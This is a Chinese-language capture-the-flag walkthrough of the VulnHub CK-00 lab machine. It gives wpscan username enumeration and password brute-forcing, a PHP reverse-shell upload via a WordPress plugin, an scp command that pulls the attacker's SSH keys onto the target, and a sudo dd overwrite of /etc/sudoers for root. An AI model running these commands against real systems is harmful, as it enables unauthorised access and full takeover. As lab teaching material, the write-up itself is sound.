CK-00靶机详解

CK-00靶机详解

靶场下载地址：https://download.vulnhub.com/ck/CK-00.zip

这个靶场扫描到ip打开后发现主页面css是有问题的，一般这种情况就是没有配置域名解析。

我们网站主页右击查看源代码，发现一个域名。

把域名添加到我们hosts文件中。

目录扫描时候发现这是一个wordpress的网站，两个登陆页面，都是一样的。

wpscan可以扫描出wordpress的登陆用户名。

wpscan --url http://ck --enumerate u

这时候我们扫出来一个用户名叫做admin

然后根据这个用户名爆破一下。

wpscan --url http://ck -U admin -P /usr/share/wordlists/rockyou.txt

大概两分钟密码就出来了，账号密码都是admin

我们登陆上wordpress的后台，这个位置是一个插件，这里可以上传php文件，我们可以上传一个反弹shell。

这个目录通常是wordpress上传上来文件的位置。

打开一下我们的反弹shell文件。

kali中监听一下，这边就拿到了一个web shell。

利用python3拿到一个稳定的shell。

python3 -c "import pty;pty.spawn('/bin/bash')"

通常wordress都有一个配置文件，里面有数据库的账号密码。

在这里面找到一个账号密码，这个密码不是root用户的密码

但是发现这个密码能进去bla用户。

bla_is_my_password

sudo -l发现这个用户可以以bla1用户的身份执行scp命令。

这里我们看一下，在bla1目录下是没有.ssh文件的,当我们用scp命令拷贝我们kali中的一个文件时候，它会先私钥验证看看能不能拷贝，所以就在这里面自动创建了一个.ssh目录。

我们可以把我们kali的authorized_keys文件拷贝到靶机的这个.ssh中去就可以免密登陆这个用户了。

这里我们拷贝到这个新出现的.ssh目录中去。

sudo -u bla1 /usr/bin/scp [email protected]:/root/.ssh/authorized_keys .ssh/

然后用我们kali的私钥就可以登陆bla1用户了

sudo -l后发现bla1用户可以免密执行ck-00用户的rbash.

这里我们就可以拿到ck-00用户的rbash了。

拿到ck-00的rbash后sudo -l发现可以免密以root权限执行dd命令。

dd命令可以往一个文件中写东西，以覆盖的方式。

这时候我们直接给bla用户所有的权限，写到sudoers文件中，bla用户就有全部的权限了，可以直接提权。

echo "bla  ALL=(ALL:ALL) NOPASSWD:ALL"|sudo dd of=/etc/sudoers

我们登陆上bla用户直接提权发现拿到了root权限。